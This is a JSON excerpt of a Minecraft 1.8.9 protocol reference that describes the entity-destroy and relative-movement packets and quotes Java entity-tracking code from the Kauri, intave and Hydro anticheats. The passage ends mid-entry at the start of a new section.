     "overview": "The destroy packet removes entity ids from the client's world, and server-side anticheats mirror that removal in their entity trackers. Because reach and hitbox checks must never measure against an entity the client no longer sees, destroy handling is data hygiene: Kauri removes fake-mob state on the confirming keepalive, intave decodes the destroy payload across three protocol layouts, and Hydro deletes the tracked entity on the send side. The packet is never flagged; keeping the tracker in sync with it is what keeps entity checks honest.",
     "checks": [
      {
       "name": "Destroy handling (Kauri)",
       "found_in": [
        "funkemunky-KauriV3"
       ],
       "purpose": "Remove fake-mob state for destroyed entities on the keepalive that confirms the destroy packet reached the client.",
       "how_it_works": "PacketHandler routes DESTROY_ENTITIES (both modern and legacy wrappers) to EntityTrackHandler.onEntityDestroy, which schedules a keepalive action: for each destroyed id it calls removeFakeMob, despawning any fake mobs the anticheat placed next to the tracked entity and clearing the client-has-entity flag. Fake mobs are the anti-hitbox probes Kauri spawns around combat entities, so their lifecycle must mirror real despawns exactly or reach checks would measure against ghosts.",
       "detects": "Nothing directly; the removal prevents ghost-entity false flags in the hitbox-based reach checks that use fake mobs.",
       "detailed_code": "// ===== FILE: funkemunky-KauriV3, Anticheat/src/main/java/dev/brighten/ac/handler/EntityTrackHandler.java =====\npackage dev.brighten.ac.handler;\n\nimport com.github.retrooper.packetevents.protocol.attribute.Attribute;\nimport com.github.retrooper.packetevents.protocol.attribute.Attributes;\nimport com.github.retrooper.packetevents.protocol.entity.data.EntityData;\nimport com.github.retrooper.packetevents.protocol.entity.data.EntityDataTypes;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityType;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityTypes;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.util.Vector3d;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerDestroyEntities;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityPositionSync;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityTeleport;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerUpdateAttributes;\nimport dev.brighten.ac.data.APlayer;\nimport dev.brighten.ac.handler.entity.FakeMob;\nimport dev.brighten.ac.handler.entity.TrackedEntity;\nimport dev.brighten.ac.packet.WPacketPlayOutEntity;\nimport dev.brighten.ac.utils.EntityLocation;\nimport dev.brighten.ac.utils.KLocation;\nimport dev.brighten.ac.utils.timer.Timer;\nimport dev.brighten.ac.utils.timer.impl.MillisTimer;\nimport dev.brighten.ac.utils.world.types.RayCollision;\nimport lombok.RequiredArgsConstructor;\n\nimport java.util.*;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\n@RequiredArgsConstructor\npublic class EntityTrackHandler {\n\n    private final APlayer data;\n    private final Timer lastFlying = new MillisTimer();\n\n    public Set<Integer> canCreateMob = new HashSet<>();\n    public int streak;\n    public AtomicBoolean clientHasEntity = new AtomicBoolean(false);\n\n    private final Set<EntityType> allowedEntityTypes = Set.of(EntityTypes.ZOMBIE, EntityTypes.SHEEP,\n            EntityTypes.BLAZE, EntityTypes.SKELETON, EntityTypes.PLAYER, EntityTypes.VILLAGER, EntityTypes.IRON_GOLEM,\n            EntityTypes.WITCH, EntityTypes.COW, EntityTypes.CREEPER);\n\n    public Optional<Integer> getTargetOfFakeMob(int fakeMobId) {\n        for (TrackedEntity value : data.getWorldTracker().getCurrentWorld().get()\n                .getTrackedEntities().values()) {\n            if(value.getFakeMobs().stream().anyMatch(mob -> mob.getEntityId() == fakeMobId)) {\n                return Optional.of(value.getEntityId());\n            }\n        }\n        return Optional.empty();\n    }\n\n    /**\n     *\n     * We are processing PacketPlayInFlying to iterate the tracked entity locations\n     *\n     */\n    void onFlying() {\n        if(lastFlying.isNotPassed(1)) streak++;\n        else {\n            streak = 1;\n        }\n\n        processZombie();\n\n        data.getWorldTracker().getCurrentWorld().get().getTrackedEntities().values().forEach(entity -> {\n            var oldLoc = entity.getOldEntityLocation();\n            var newLoc = entity.getNewEntityLocation();\n\n            if(oldLoc != null) {\n                if(oldLoc.interpolatedLocations.size() > 1 && oldLoc.increment == 0) {\n                    oldLoc.interpolatedLocations.removeFirst();\n                }\n                oldLoc.interpolateLocation();\n            }\n            if(newLoc != null) {\n                if(newLoc.interpolatedLocations.size() > 1 && newLoc.increment == 0) {\n                    newLoc.interpolatedLocations.removeFirst();\n                }\n                newLoc.interpolateLocation();\n            }\n        });\n\n        lastFlying.reset();\n    }\n\n    /**\n     *\n     * Processing PacketPlayOutRelativePosition for updating entity locations in a relative manner.\n     *\n     * @param packet WrappedOutRelativePosition\n     */\n    void onRelPosition(WPacketPlayOutEntity packet) {\n        Optional<TrackedEntity> entity = data.getWorldTracker().getCurrentWorld().get()\n                .getTrackedEntity(packet.getId());\n\n        if(entity.isEmpty() || !allowedEntityTypes.contains(entity.get().getEntityType())) return;\n\n        processFakeMobs(packet.getId(), true, packet.getX(), packet.getY(), packet.getZ());\n\n        EntityLocation eloc = entity.get().getNewEntityLocation();\n\n        entity.get().setOldEntityLocation(entity.get().getNewEntityLocation().clone());\n\n        runAction(entity.get(), () -> {\n            //We don't need to do version checking here. Atlas handles this for us.\n            eloc.newX += packet.getX();\n            eloc.newY += packet.getY();\n            eloc.newZ += packet.getZ();\n            eloc.newYaw += packet.getYaw();\n            eloc.newPitch += packet.getPitch();\n\n            eloc.increment = 3;\n        });\n    }\n\n    void onPositionSync(WrapperPlayServerEntityPositionSync packet) {\n        Optional<TrackedEntity> entity = data.getWorldTracker().getCurrentWorld().get()\n                .getTrackedEntity(packet.getId());\n\n        if(entity.isEmpty() || !allowedEntityTypes.contains(entity.get().getEntityType())) return;\n\n        processFakeMobs(packet.getId(), false, packet.getValues().getPosition().getX(),\n                packet.getValues().getPosition().getY(), packet.getValues().getPosition().getZ());\n\n        EntityLocation eloc = entity.get().getNewEntityLocation();\n\n        entity.get().setOldEntityLocation(entity.get().getNewEntityLocation().clone());\n\n        runAction(entity.get(), () -> {\n            //We don't need to do version checking here. Atlas handles this for us.\n            eloc.newX = packet.getValues().getPosition().getX();\n            eloc.newY = packet.getValues().getPosition().getY();\n            eloc.newZ = packet.getValues().getPosition().getZ();\n            eloc.newYaw = packet.getValues().getYaw();\n            eloc.newPitch = packet.getValues().getPitch();\n\n            eloc.increment = 3;\n        });\n    }\n    /**\n     *\n     * Processing PacketPlayOutEntityTeleport to update locations in a non-relative manner.\n     *\n     * @param packet WrappedOutEntityTeleportPacket\n     */\n    void onTeleportSent(WrapperPlayServerEntityTeleport packet) {\n        Optional<TrackedEntity> entity = data.getWorldTracker().getCurrentWorld().get()\n                .getTrackedEntity(packet.getEntityId());\n\n        if(entity.isEmpty() || !allowedEntityTypes.contains(entity.get().getEntityType())) return;\n\n        processFakeMobs(packet.getEntityId(), false, packet.getPosition().getX(), packet.getPosition().getY(), packet.getPosition().getZ());\n\n        EntityLocation eloc = entity.get().getNewEntityLocation();\n\n        entity.get().setOldEntityLocation(entity.get().getNewEntityLocation().clone());\n\n        runAction(entity.get(), () -> {\n            if(data.getPlayerVersion().isNewerThanOrEquals(ClientVersion.V_1_9)) {\n                if (!(Math.abs(eloc.x - packet.getPosition().getX()) >= 0.03125D)\n                        && !(Math.abs(eloc.y - packet.getPosition().getY()) >= 0.015625D)\n                        && !(Math.abs(eloc.z - packet.getPosition().getZ()) >= 0.03125D)) {\n                    eloc.increment = 0;\n                    //We don't need to do version checking here. Atlas handles this for us.\n                    eloc.newX = eloc.x = packet.getPosition().getX();\n                    eloc.newY = eloc.y = packet.getPosition().getY();\n                    eloc.newZ = eloc.z = packet.getPosition().getZ();\n                    eloc.newYaw = eloc.yaw = packet.getYaw();\n                    eloc.newPitch = eloc.pitch = packet.getPitch();\n                } else {\n                    eloc.newX = packet.getPosition().getX();\n                    eloc.newY = packet.getPosition().getY();\n                    eloc.newZ = packet.getPosition().getZ();\n                    eloc.newYaw = packet.getYaw();\n                    eloc.newPitch = packet.getPitch();\n\n                    eloc.increment = 3;\n                }\n            } else {\n                //We don't need to do version checking here. Atlas handles this for us.\n                eloc.newX = packet.getPosition().getX();\n                eloc.newY = packet.getPosition().getY();\n                eloc.newZ = packet.getPosition().getZ();\n                eloc.newYaw = packet.getYaw();\n                eloc.newPitch = packet.getPitch();\n\n                eloc.increment = 3;\n            }\n        });\n    }\n\n    void updateAttributes(WrapperPlayServerUpdateAttributes attributes) {\n        data.runKeepaliveAction(ka -> {\n            TrackedEntity tracked = data.getWorldTracker().getCurrentWorld().get()\n                    .getTrackedEntity(attributes.getEntityId()).orElse(null);\n\n            if(tracked == null) return;\n\n            for (WrapperPlayServerUpdateAttributes.Property property : attributes.getProperties()) {\n                Attribute attribute = property.getAttribute();\n\n                if(attributes.getEntityId() == data.getBukkitPlayer().getEntityId() && attribute == Attributes.MOVEMENT_SPEED) {\n                    ValuedAttribute value = tracked.getAttribute(attribute);\n\n                    value.updateAttribute(property);\n                    data.getInfo().setWalkSpeed(value.getValue());\n                }\n\n                tracked.updateAttribute(property);\n            }\n        });\n    }\n\n    /**\n     *\n     * We are running an action when a transaction is received. If the Entity provided is currently a target,\n     * we want to send a tranasction on this method being run and use that to more accurately get an estimate of when\n     * the client receives the transaction relative to what we want in the action. If not the target, then we use our\n     * transaction system which sends one transaction every tick, and then on return runs a list of Runnables which\n     * may be less accurate in some situations, but uses less processing and network resources.\n     *\n     * @param entity Entity\n     * @param action Runnable\n     */\n    private void runAction(TrackedEntity entity, Runnable action) {\n        if(data.getInfo().getTarget() != null && data.getInfo().getTarget().getEntityId() == entity.getEntityId()) {\n            data.runInstantAction(ia -> {\n                if(!ia.isEnd()) {\n                    action.run();\n                } else entity.setOldEntityLocation(null);\n            }, true);\n        } else {\n            data.runKeepaliveAction(keepalive -> action.run());\n            data.runKeepaliveAction(keepalive ->\n                    entity.setOldEntityLocation(null), 1);\n        }\n    }\n\n    public void onEntityDestroy(WrapperPlayServerDestroyEntities packet) {\n        data.runKeepaliveAction(ka -> {\n            for(int id : packet.getEntityIds()) {\n                removeFakeMob(id);\n            }\n        });\n    }\n\n    public void removeFakeMob(int id) {\n        if(data.getWorldTracker().getCurrentWorld().get()\n                .getTrackedEntities().containsKey(id)) {\n            List<FakeMob> mobs = data.getWorldTracker().getCurrentWorld().get()\n                    .getTrackedEntity(id).map(TrackedEntity::getFakeMobs).orElse(new ArrayList<>());\n\n            for (FakeMob mob : mobs) {\n                mob.despawn();\n            }\n\n            mobs.clear();\n        }\n        clientHasEntity.set(false);\n    }\n\n    private static final double[] offsets = new double[]{-1.25, 0, 1.25};\n\n    private void createFakeMob(int entityId, KLocation location) {\n        if (!canCreateMob.contains(entityId)) return;\n\n        Optional<TrackedEntity> trackedEntity = data.getWorldTracker().getCurrentWorld().get()\n                .getTrackedEntity(entityId);\n\n        Optional<TrackedEntity> playerEntity = data.getWorldTracker().getCurrentWorld().get()\n                .getTrackedEntity(data.getBukkitPlayer().getEntityId());\n\n        if(trackedEntity.isEmpty() || playerEntity.isEmpty()) return;\n\n        for (double offset : offsets) {\n            FakeMob mob = new FakeMob(EntityTypes.MAGMA_CUBE);\n\n            List<EntityData<?>> types = new ArrayList<>();\n            EntityData<?> entityData = new EntityData<>(16, EntityDataTypes.BYTE, (byte)10);\n            types.add(entityData);\n\n            // Setting Magma cube size to size 10\n            mob.spawn(true, location.clone().add(offset, offset, offset),\n                    types, data);\n\n            trackedEntity.get().getFakeMobs().add(mob);\n        }\n\n        KLocation eyeLoc = data.getMovement().getTo().getLoc().clone()\n                .add(0, data.getEyeHeight() / 2.5, 0);\n\n        RayCollision collision = new RayCollision(eyeLoc.toVector(), eyeLoc.getDirection());\n\n        Vector3d point = collision.collisionPoint(0.4);\n\n        FakeMob mob = new FakeMob(EntityTypes.SLIME);\n        List<EntityData<?>> types = new ArrayList<>();\n        EntityData<?> entityData = new EntityData<>(16, EntityDataTypes.BYTE, (byte)5);\n\n        types.add(entityData);\n        mob.spawn(true, new KLocation(point.getX(), point.getY(), point.getZ()), types, data);\n\n        playerEntity.get().getFakeMobs().add(mob);\n\n        canCreateMob.remove(entityId);\n\n        data.runKeepaliveAction(ka -> clientHasEntity.set(true));\n    }\n\n    public void processZombie() {\n        List<FakeMob> fakeMobs = data.getWorldTracker().getCurrentWorld().get()\n                .getTrackedEntity(data.getBukkitPlayer().getEntityId())\n                .map(TrackedEntity::getFakeMobs)\n                .orElse(new ArrayList<>());\n\n        if(fakeMobs.size() > 1) {\n            fakeMobs.forEach(fakeMob -> removeFakeMob(fakeMob.getEntityId()));\n        }\n\n        for (FakeMob fakeMob : fakeMobs) {\n            if(fakeMob.getType() == EntityTypes.SLIME) {\n                KLocation eyeLoc = data.getMovement().getTo().getLoc().clone().add(0, 0.6, 0);\n\n                RayCollision collision = new RayCollision(eyeLoc.toVector(), eyeLoc.getDirection());\n\n                Vector3d point = collision.collisionPoint(0.4);\n\n                fakeMob.teleport(point.getX(), point.getY(), point.getZ(), 0 ,0);\n                break;\n            }\n        }\n    }\n\n    public void processFakeMobs(int entityId, boolean rel, double x, double y, double z) {\n        List<FakeMob> fakeMobs = data.getWorldTracker().getCurrentWorld().get()\n                .getTrackedEntity(entityId).map(TrackedEntity::getFakeMobs).orElse(new ArrayList<>());\n\n        if(fakeMobs.isEmpty()) {\n            if(!rel) {\n                createFakeMob(entityId, new KLocation(x, y, z));\n            }\n\n            if(data.getInfo().getTarget() != null && data.getInfo().getTarget().getEntityId() == entityId) {\n                clientHasEntity.set(false);\n            }\n            return;\n        }\n\n        if(fakeMobs.size() != offsets.length + 1) {\n            fakeMobs.forEach(fakeMob -> removeFakeMob(fakeMob.getEntityId()));\n        }\n\n        int current = 0;\n        for (FakeMob fakeMob : fakeMobs) {\n            double offset = offsets[current++];\n\n            if(rel) {\n                fakeMob.move(x, y, z);\n            } else {\n                fakeMob.teleport(x + offset, y + offset, z + offset, 0, 0);\n            }\n        }\n    }\n}\n\n// NOTE (AI): onEntityDestroy is lines 240-246; removeFakeMob (248-261) does the actual cleanup. The keepalive deferral means removal lands only after the client acknowledges, matching the client's own despawn timing.\n",
       "code_source": "funkemunky-KauriV3, Anticheat/src/main/java/dev/brighten/ac/handler/EntityTrackHandler.java",
       "variations": "Grim schedules entity removal on the destroy transaction and also clears serverPositionsMap and dashable and firework state; Tecnio and Hydro just remove the ids from their tracker maps; Artemis ReachPreProcessor drops the entity from reach tracking on the same packet."
      },
      {
       "name": "Destroy reader (intave)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "Decode the destroy payload across all protocol layouts and feed each entity id to the entity tracker.",
       "how_it_works": "EntityDestroyReader implements EntityIterable over the destroy packet. It branches on protocol era: an int list on 1.17.1+, a single int on 1.17.0, and an int array on 1.16 and below, exposing both forEach and a substitution iterator so the tracker can read or rewrite ids. PacketReaders registers it under ENTITY_DESTROY, and EntityTracker.receiveEntityDestroy processes each id, dismounting riders and marking destroyed entities so AttackRaytrace can ignore them.",
       "detects": "Nothing directly; the reader is the decode layer. The tracker's destroyed-entity marker (Entity.Destroyed) is what lets hitbox checks ignore dead entities.",
       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/packet/reader/EntityDestroyReader.java =====\npackage de.jpx3.intave.packet.reader;\n\nimport de.jpx3.intave.adapter.MinecraftVersions;\nimport org.jetbrains.annotations.NotNull;\n\nimport java.util.List;\nimport java.util.function.Consumer;\n\npublic final class EntityDestroyReader extends AbstractPacketReader implements EntityIterable {\n  private final boolean INT_LIST_ENTITY_DESTROY = MinecraftVersions.VER1_17_1.atOrAbove();\n  private final boolean SINGLE_INT_ENTITY_DESTROY = !INT_LIST_ENTITY_DESTROY && MinecraftVersions.VER1_17_0.atOrAbove();\n  private final boolean INT_ARRAY_ENTITY_DESTROY = !SINGLE_INT_ENTITY_DESTROY;\n\n  @Override\n  public void forEach(Consumer<? super Integer> action) {\n    if (INT_LIST_ENTITY_DESTROY) {\n      List<Integer> entityIds = packet().getIntLists().read(0);\n      entityIds.forEach(action);\n    } else if (INT_ARRAY_ENTITY_DESTROY) {\n      int[] entityIDs = packet().getIntegerArrays().read(0);\n      for (int entityID : entityIDs) {\n        action.accept(entityID);\n      }\n    } else {\n      action.accept(packet().getIntegers().read(0));\n    }\n  }\n\n  @NotNull\n  @Override\n  public SubstitutionIterator<Integer> iterator() {\n    if (INT_LIST_ENTITY_DESTROY) {\n      List<Integer> entityIDs = packet().getIntLists().read(0);\n      return new SubstitutionIterator<Integer>() {\n        int index = 0;\n\n        @Override\n        public void set(Integer integer) {\n          entityIDs.set(index - 1, integer);\n        }\n\n        @Override\n        public boolean hasNext() {\n          return index < entityIDs.size();\n        }\n\n        @Override\n        public Integer next() {\n          return entityIDs.get(index++);\n        }\n      };\n    } else if (INT_ARRAY_ENTITY_DESTROY) {\n      int[] entityIDs = packet().getIntegerArrays().read(0);\n      return new SubstitutionIterator<Integer>() {\n        int index = 0;\n\n        @Override\n        public void set(Integer integer) {\n          entityIDs[index - 1] = integer;\n//          packet().getIntegerArrays().write(0, entityIDs);\n        }\n\n        @Override\n        public boolean hasNext() {\n          return index < entityIDs.length;\n        }\n\n        @Override\n        public Integer next() {\n          return entityIDs[index++];\n        }\n      };\n    } else {\n      int id = packet().getIntegers().read(0);\n      return new SubstitutionIterator<Integer>() {\n        @Override\n        public void set(Integer integer) {\n          packet().getIntegers().write(0, integer);\n        }\n\n        boolean hasNext = true;\n\n        @Override\n        public boolean hasNext() {\n          return hasNext;\n        }\n\n        @Override\n        public Integer next() {\n          hasNext = false;\n          return id;\n        }\n      };\n    }\n  }\n}\n\n// NOTE (AI): The layout branch (lines 10-27) shows the 1.17 protocol split: int list, single int, then the legacy int array. The substitution iterator lets the anticheat rewrite ids in place, used by the EntityIdFilter module.\n",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/packet/reader/EntityDestroyReader.java",
       "variations": "Grim and Hydro wrap WrapperPlayServerDestroyEntities directly; FlopAC's WrappedOutEntityDestroy is the same idea on its tinyprotocol reflection layer."
      },
      {
       "name": "Destroy tracking (Hydro)",
       "found_in": [
        "Incognitolol-Hydro"
       ],
       "purpose": "Remove destroyed entities from the tracked-entity map so reach and entity queries never see despawned ids.",
       "how_it_works": "EntityTracker.registerOutgoingPreHandler routes DESTROY_ENTITIES to handleDestroyEntities, which wraps WrapperPlayServerDestroyEntities and removes each id from the concurrent entityMap. Because insertion happens on spawn and removal on destroy, the map always mirrors the client's visible entity set; getDistanceToEntity and getClosestEntity simply cannot return a destroyed entity.",
       "detects": "Nothing directly; it is the cleanup half of the tracker. Without it, reach checks would measure against entities the client no longer renders, producing false flags.",
       "detailed_code": "// ===== FILE: Incognitolol-Hydro, src/main/java/integral/studios/hydro/model/tracker/impl/EntityTracker.java =====\npackage integral.studios.hydro.model.tracker.impl;\n\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.util.Vector3d;\nimport com.github.retrooper.packetevents.wrapper.play.server.*;\nimport integral.studios.hydro.model.PlayerData;\nimport integral.studios.hydro.model.tracker.Tracker;\nimport integral.studios.hydro.util.player.tracker.entity.TrackedEntity;\nimport integral.studios.hydro.util.packet.PacketUtil;\nimport lombok.Getter;\n\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\n\n\n@Getter\npublic class EntityTracker extends Tracker {\n    // Thread-safe entity storage\n    private final Map<Integer, TrackedEntity> entityMap = new ConcurrentHashMap<>();\n\n    public EntityTracker(PlayerData playerData) {\n        super(playerData);\n    }\n\n    @Override\n    public void registerOutgoingPreHandler(PacketSendEvent event) {\n        if (event.getPacketType() == PacketType.Play.Server.SPAWN_LIVING_ENTITY) {\n            handleSpawnLivingEntity(event);\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_PLAYER) {\n            handleSpawnPlayer(event);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_RELATIVE_MOVE) {\n            handleEntityRelativeMove(event);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_RELATIVE_MOVE_AND_ROTATION) {\n            handleEntityRelativeMoveAndRotation(event);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_TELEPORT) {\n            handleEntityTeleport(event);\n        } else if (event.getPacketType() == PacketType.Play.Server.DESTROY_ENTITIES) {\n            handleDestroyEntities(event);\n        }\n    }\n\n    @Override\n    public void registerIncomingPostHandler(PacketReceiveEvent event) {\n        if (PacketUtil.isFlying(event.getPacketType())) {\n            handleFlyingPacket();\n        }\n    }\n\n    private void handleSpawnLivingEntity(PacketSendEvent event) {\n        WrapperPlayServerSpawnLivingEntity wrapper = new WrapperPlayServerSpawnLivingEntity(event);\n        Vector3d position = wrapper.getPosition();\n        int entityId = wrapper.getEntityId();\n\n        TrackedEntity entity = new TrackedEntity(entityId, position.x, position.y, position.z);\n        entityMap.put(entityId, entity);\n    }\n\n    private void handleSpawnPlayer(PacketSendEvent event) {\n        WrapperPlayServerSpawnPlayer wrapper = new WrapperPlayServerSpawnPlayer(event);\n        Vector3d position = wrapper.getPosition();\n        int entityId = wrapper.getEntityId();\n\n        TrackedEntity entity = new TrackedEntity(entityId, position.x, position.y, position.z);\n        entityMap.put(entityId, entity);\n    }\n\n    private void handleEntityRelativeMove(PacketSendEvent event) {\n        WrapperPlayServerEntityRelativeMove wrapper = new WrapperPlayServerEntityRelativeMove(event);\n\n        TrackedEntity entity = entityMap.get(wrapper.getEntityId());\n        if (entity == null) {\n            return;\n        }\n\n        playerData.getTransactionTracker().confirmPre(() -> {\n            entity.handleMovement(wrapper.getDeltaX(), wrapper.getDeltaY(), wrapper.getDeltaZ());\n        });\n\n        playerData.getTransactionTracker().confirmPost(this::updateAllEntitiesPostTransaction);\n    }\n\n    private void handleEntityRelativeMoveAndRotation(PacketSendEvent event) {\n        WrapperPlayServerEntityRelativeMoveAndRotation wrapper = new WrapperPlayServerEntityRelativeMoveAndRotation(event);\n\n        TrackedEntity entity = entityMap.get(wrapper.getEntityId());\n        if (entity == null) {\n            return;\n        }\n\n        playerData.getTransactionTracker().confirmPre(() -> {\n            entity.handleMovement(wrapper.getDeltaX(), wrapper.getDeltaY(), wrapper.getDeltaZ());\n        });\n\n        playerData.getTransactionTracker().confirmPost(this::updateAllEntitiesPostTransaction);\n    }\n\n    private void handleEntityTeleport(PacketSendEvent event) {\n        WrapperPlayServerEntityTeleport wrapper = new WrapperPlayServerEntityTeleport(event);\n\n        TrackedEntity entity = entityMap.get(wrapper.getEntityId());\n        if (entity == null) {\n            return;\n        }\n\n        Vector3d position = wrapper.getPosition();\n\n        playerData.getTransactionTracker().confirmPre(() -> {\n            entity.handleTeleport(position.x, position.y, position.z);\n        });\n\n        playerData.getTransactionTracker().confirmPost(this::updateAllEntitiesPostTransaction);\n    }\n\n    private void handleDestroyEntities(PacketSendEvent event) {\n        WrapperPlayServerDestroyEntities wrapper = new WrapperPlayServerDestroyEntities(event);\n\n        for (int entityId : wrapper.getEntityIds()) {\n            entityMap.remove(entityId);\n        }\n    }\n\n    private void handleFlyingPacket() {\n        entityMap.values().forEach(TrackedEntity::handlePostFlying);\n    }\n\n    private void updateAllEntitiesPostTransaction() {\n        entityMap.values().forEach(TrackedEntity::handlePostTransaction);\n    }\n\n    public TrackedEntity get(int entityId) {\n        return entityMap.get(entityId);\n    }\n\n    public boolean isTracking(int entityId) {\n        return entityMap.containsKey(entityId);\n    }\n\n    public int getTrackedEntityCount() {\n        return entityMap.size();\n    }\n\n\n    public TrackedEntity removeEntity(int entityId) {\n        return entityMap.remove(entityId);\n    }\n\n\n    public void clearEntities() {\n        entityMap.clear();\n    }\n\n\n    public double getDistanceToEntity(int entityId) {\n        TrackedEntity entity = entityMap.get(entityId);\n        if (entity == null) {\n            return -1;\n        }\n\n        double dx = entity.getX() - playerData.getPositionTracker().getX();\n        double dy = entity.getY() - playerData.getPositionTracker().getY();\n        double dz = entity.getZ() - playerData.getPositionTracker().getZ();\n\n        return Math.sqrt(dx * dx + dy * dy + dz * dz);\n    }\n\n    public TrackedEntity getClosestEntity() {\n        TrackedEntity closest = null;\n        double minDistance = Double.MAX_VALUE;\n\n        for (Map.Entry<Integer, TrackedEntity> entry : entityMap.entrySet()) {\n            TrackedEntity entity = entry.getValue();\n            double distance = getDistanceToEntity(entry.getKey());\n\n            if (distance >= 0 && distance < minDistance) {\n                minDistance = distance;\n                closest = entity;\n            }\n        }\n\n        return closest;\n    }\n\n\n    public Map<Integer, TrackedEntity> getEntitiesWithinDistance(double maxDistance) {\n        Map<Integer, TrackedEntity> nearbyEntities = new ConcurrentHashMap<>();\n\n        for (Map.Entry<Integer, TrackedEntity> entry : entityMap.entrySet()) {\n            double distance = getDistanceToEntity(entry.getKey());\n            if (distance >= 0 && distance <= maxDistance) {\n                nearbyEntities.put(entry.getKey(), entry.getValue());\n            }\n        }\n\n        return nearbyEntities;\n    }\n\n    public int getEntityId(TrackedEntity entity) {\n        if (entity == null) return -1;\n\n        for (Map.Entry<Integer, TrackedEntity> entry : entityMap.entrySet()) {\n            if (entry.getValue() == entity) {\n                return entry.getKey();\n            }\n        }\n\n        return -1;\n    }\n}\n\n// NOTE (AI): handleDestroyEntities is lines 116-122, directly after the spawn handlers in the same dispatch, which is why the S0C, S0F and S13 corpora all reference this one file.\n",
       "code_source": "Incognitolol-Hydro, src/main/java/integral/studios/hydro/model/tracker/impl/EntityTracker.java",
       "variations": "Tecnio removes ids from trackerMap on GPacketPlayServerEntityDestroy; Shard ejects riders before removing ids; Kauri defers cleanup to the confirming keepalive; TruthfulAC marks the entity destroyed with a grace window instead of deleting it outright."
      }
     ]
    }
   },
   "wiki_notes": [
    "VarInt count followed by that many VarInt entity ids; server flushes the destroy list once per tick.",
    "Id-keyed caches must prune on it; delaying it keeps ghost entities attackable, the attack-after-destroy flag pattern.",
    "MCP 1.8.9 S13PacketDestroyEntities implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleDestroyEntities; wire serde is readPacketData/writePacketData via readVarIntFromBuffer.",
    "1.8.9 callers: EntityPlayerMP.onUpdate sends new S13PacketDestroyEntities (line 303): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/player/EntityPlayerMP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S13PacketDestroyEntities/",
   "mcp_path": "net/minecraft/network/play/server/S13PacketDestroyEntities.java",
   "group": "play-client",
   "logic_classes": [
    "EntityPlayerMP"
   ]
  },
  {
   "id": "S14PacketEntity",
   "hex": "0x14",
   "dec": 20,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Entity",
   "desc": "Base class for entity relative movement and rotation updates. Subclasses S15 (rel move), S16 (look), S17 (move+look).",
   "tags": [
    "entity",
    "movement",
    "position"
   ],
   "subclasses": [
    {
     "name": "S15PacketEntityRelMove",
     "hex": "0x15",
     "desc": "Relative move (dx/dy/dz as bytes × 32)."
    },
    {
     "name": "S16PacketEntityLook",
     "hex": "0x16",
     "desc": "Rotation update (yaw/pitch as bytes × 256/360)."
    },
    {
     "name": "S17PacketEntityLookMove",
     "hex": "0x17",
     "desc": "Both relative move and rotation update."
    }
   ],
   "fields": [
    {
     "name": "entityId",
     "type": "VarInt",
     "desc": "Entity ID"
    },
    {
     "name": "dx/dy/dz",
     "type": "byte",
     "desc": "Relative movement delta × 32 (S15/S17)"
    },
    {
     "name": "yaw/pitch",
     "type": "byte",
     "desc": "New rotation × 256/360 (S16/S17)"
    },
    {
     "name": "onGround",
     "type": "boolean",
     "desc": "Ground state"
    }
   ],
   "encoding": [
    [
     "Entity ID",
     "VarInt",
     ""
    ],
    [
     "DX",
     "byte",
     "dx * 32"
    ],
    [
     "DY",
     "byte",
     "dy * 32"
    ],
    [
     "DZ",
     "byte",
     "dz * 32"
    ],
    [
     "Yaw",
     "byte",
     "yaw * 256/360"
    ],
    [
     "Pitch",
     "byte",
     "pitch * 256/360"
    ],
    [
     "On Ground",
     "bool",
     ""
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleEntityMovement()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "S14 is the abstract base. The actual packet IDs are 0x15 (S15), 0x16 (S16), 0x17 (S17). All share the same class hierarchy. The client adds the relative deltas to the entity's current server position to get the new position.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S14PacketEntity is the abstract base for the three relative entity-movement packets. The wire IDs are S15PacketEntityRelMove (0x15), S16PacketEntityLook (0x16) and S17PacketEntityLookMove (0x17); the base class itself is never registered as a sendable ID and EnumConnectionState registers only the subclasses. Every variant carries a VarInt entityId and an onGround flag, plus byte deltas (x 32) and/or rotation bytes (x 256/360). The client accumulates the deltas onto the entity's last server position, so a position error in one tick carries into every later tick until the server sends an absolute S18."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleEntityMovement (Memeware 7.3 bundle, line 551) is shared by all three subclasses: it adds the packet's posX/posY/posZ to entity.serverPosX/Y/Z, recomputes the position as serverPos / 32.0, keeps the current yaw/pitch unless the packet carries rotation (S16/S17), then calls setPositionAndRotation2 with interpolation factor 3 and teleport flag false, and finally writes packetIn.onGround into entity.onGround. Server-side, EntityTrackerEntry picks the variant by motion magnitude: look-move when both position and rotation changed, rel-move when only position changed, look when only rotation changed (corpus lines 213-217, 265)."
     },
     {
      "h": "Why clients touch it",
